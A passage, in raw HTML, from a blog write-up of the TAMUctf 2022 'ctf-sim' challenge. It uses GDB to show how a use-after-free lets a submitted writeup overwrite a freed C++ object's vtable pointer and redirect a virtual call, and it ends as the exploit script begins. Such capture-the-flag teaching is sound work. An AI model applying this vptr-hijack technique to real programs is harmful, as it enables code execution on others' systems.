&lt;span class=&quot;token command&quot;&gt;^C  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks  &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1320w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1320w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1320 / 356&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1320w.webp 1320w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1320px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ooo, looks a bit busy, even though we haven&#39;t &lt;code&gt;malloc&lt;/code&gt;ed or &lt;code&gt;new&lt;/code&gt;ed anything yet! These are probably allocations from iostream buffers used to buffer the input and output streams. We&#39;ll ignore these for now as they aren&#39;t very important.&lt;/p&gt;
&lt;p&gt;We perform our first action: downloading a challenge. The challenge type and index to store the challenge don&#39;t really matter, so we&#39;ll just go with the first option (&lt;code&gt;new forensics&lt;/code&gt;) and index 0.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1324w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1324w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1324 / 550&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1324w.webp 1324w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1324px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s pause again and check the state of the heap.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;&gt;&quot; data-continuation-prompt=&quot;gef&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^C  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1318w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1318w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1318 / 404&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1318w.webp 1318w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1318px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notice that there is now a new chunk with size &lt;code&gt;0x20&lt;/code&gt; with some data in the first few bytes. Since we just allocated a &lt;code&gt;forensics&lt;/code&gt; object, this is likely the vptr of that object.&lt;/p&gt;
&lt;p&gt;Indeed, if we peek into the binary&#39;s memory using &lt;code&gt;x /20wx 0x403d38&lt;/code&gt;, we see what looks like some vtables having a party:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1122w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1122w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1122 / 162&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1122w.webp 1122w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1122px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We&#39;ll move on to the second step: solving the challenge. This step is rather simple, but I want to show how the vtable magic is done in assembly. Let&#39;s disassemble the &lt;code&gt;solveChallenge()&lt;/code&gt; function and set a breakpoint near the hotspot.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;disas solveChallenge&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;b *solveChallenge+191&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1310w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1310w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1310 / 492&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1310w.webp 1310w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1310px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1316w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1316w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1316 / 630&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4b-disas-2-1316w.webp 1316w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1316px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now we&#39;ll continue running and feed it input for solving our &lt;code&gt;forensics&lt;/code&gt; challenge.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our breakpoint gets triggered. Notice the interesting chain of addresses in the &lt;code&gt;rax&lt;/code&gt; register in the image below. There&#39;s a chain of 3 addresses:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the address of the &lt;code&gt;forensics&lt;/code&gt; object vptr... which points to...&lt;/li&gt;
&lt;li&gt;the address of the &lt;code&gt;forensics&lt;/code&gt; vtable... which points to...&lt;/li&gt;
&lt;li&gt;the address of &lt;code&gt;forensics::solve&lt;/code&gt;...
&lt;ul&gt;
&lt;li&gt;which is eventually called in assembly (&lt;code&gt;call rax&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1308w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1308w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1308 / 1142&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4c-double-deref-in-first-solve-1308w.webp 1308w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1308px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So &lt;em&gt;this&lt;/em&gt; is what happens when we call a virtual function... InTeReStInG!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/interesting-1280w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/interesting-1280w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1280 / 720&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/interesting-256w.webp 256w, https://trebledj.me/img/interesting-512w.webp 512w, https://trebledj.me/img/interesting-1024w.webp 1024w, https://trebledj.me/img/interesting-1280w.webp 1280w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1280px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s continue so that it finishes &lt;code&gt;delete&lt;/code&gt;-ing the chunk, and let&#39;s check the heap state again:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^C&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1310w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1310w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1310 / 392&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-5-heap-after-input-2-1310w.webp 1310w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1310px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It appears that our &lt;code&gt;forensics&lt;/code&gt; vptr has been replaced with some other data. 😢 But no worries! We&#39;ll just continue with our third action: submitting a writeup.&lt;/p&gt;
&lt;p&gt;Since we want to reuse the chunk previously deallocated, we want to make sure the chunk we allocate when submitting the writeup isn&#39;t too big. But the chunk shouldn&#39;t be too small either: we want it to be at least 9 bytes, so that it could fit 8 bytes of payload plus a null terminator. So we&#39;ll settle for 16 bytes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;AABBCCDD&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1308w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1308w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1308 / 358&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-6-input-3-1308w.webp 1308w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1308px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s check our heap.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;&gt;&quot; data-continuation-prompt=&quot;gef&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^C  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1314w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1314w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1314 / 394&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-7-heap-after-input-3-1314w.webp 1314w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1314px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sweet! We&#39;ve overwritten the first 8 bytes of the chunk with our payload. Effectively, we&#39;ve assigned a custom vptr to the &lt;code&gt;forensics&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;&amp;quot;But bruh I thought our &lt;code&gt;forensics&lt;/code&gt; object was deallocated!&amp;quot;&lt;/p&gt;
&lt;p&gt;Well yes... but actually no... Objects in C/C++ are merely represented in memory as a sequence of bytes. You can interpret a sequence of bytes as any type. That&#39;s why casting across types is a thing in C/C++—albeit potentially dangerous. (In C, you&#39;d use the usual cast &lt;code&gt;(type*)&amp;amp;obj&lt;/code&gt;. In C++, you&#39;d use &lt;code&gt;reinterpret_cast&amp;lt;type*&amp;gt;(&amp;amp;obj)&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;Now when we call &lt;code&gt;solveChallenge&lt;/code&gt;, the line &lt;code&gt;downloaded[index]-&amp;gt;solve()&lt;/code&gt; will treat our chunk as a &lt;code&gt;challenge*&lt;/code&gt;. It was originally &lt;em&gt;supposed&lt;/em&gt; to be a &lt;code&gt;char*&lt;/code&gt;, since we submitted a writeup. But since types don&#39;t matter in the assembly/memory level, the chunk is now a &lt;code&gt;challenge*&lt;/code&gt; for all intents and purposes.&lt;/p&gt;
&lt;p&gt;Since the chunk is treated as a &lt;code&gt;challenge*&lt;/code&gt;, the assembly will try to double-deref the vptr... which is our payload from submitting the writeup.&lt;/p&gt;
&lt;p&gt;Boom! Exploit.&lt;/p&gt;
&lt;p&gt;If we continue running the program, a SIGSEGV occurs since it tries to dereference &lt;code&gt;0x4444434342424141&lt;/code&gt; (which is &lt;code&gt;&amp;quot;AABBCCDD&amp;quot;&lt;/code&gt;, but packed to 64 bits).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1324w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1324w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1324 / 542&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-9-sigsev-1324w.webp 1324w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1324px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Later on, we&#39;ll use &lt;code&gt;win_addr&lt;/code&gt; instead of &lt;code&gt;&amp;quot;AABBCCDD&amp;quot;&lt;/code&gt; for our payload; so that when the &lt;code&gt;solve()&lt;/code&gt; virtual function does its magic, it will call &lt;code&gt;win()&lt;/code&gt; instead.&lt;/p&gt;
&lt;h4 id=&quot;altogether&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#altogether&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Altogether&lt;/h4&gt;
&lt;p&gt;Combining our knowledge of vtables/vpointers with a little bit of heap knowledge, we come up with the following exploit:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# downloaded[0] = new forensics;   (vptr points to forensic&#39;s vtable.)&lt;/span&gt;
download_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)&lt;/span&gt;
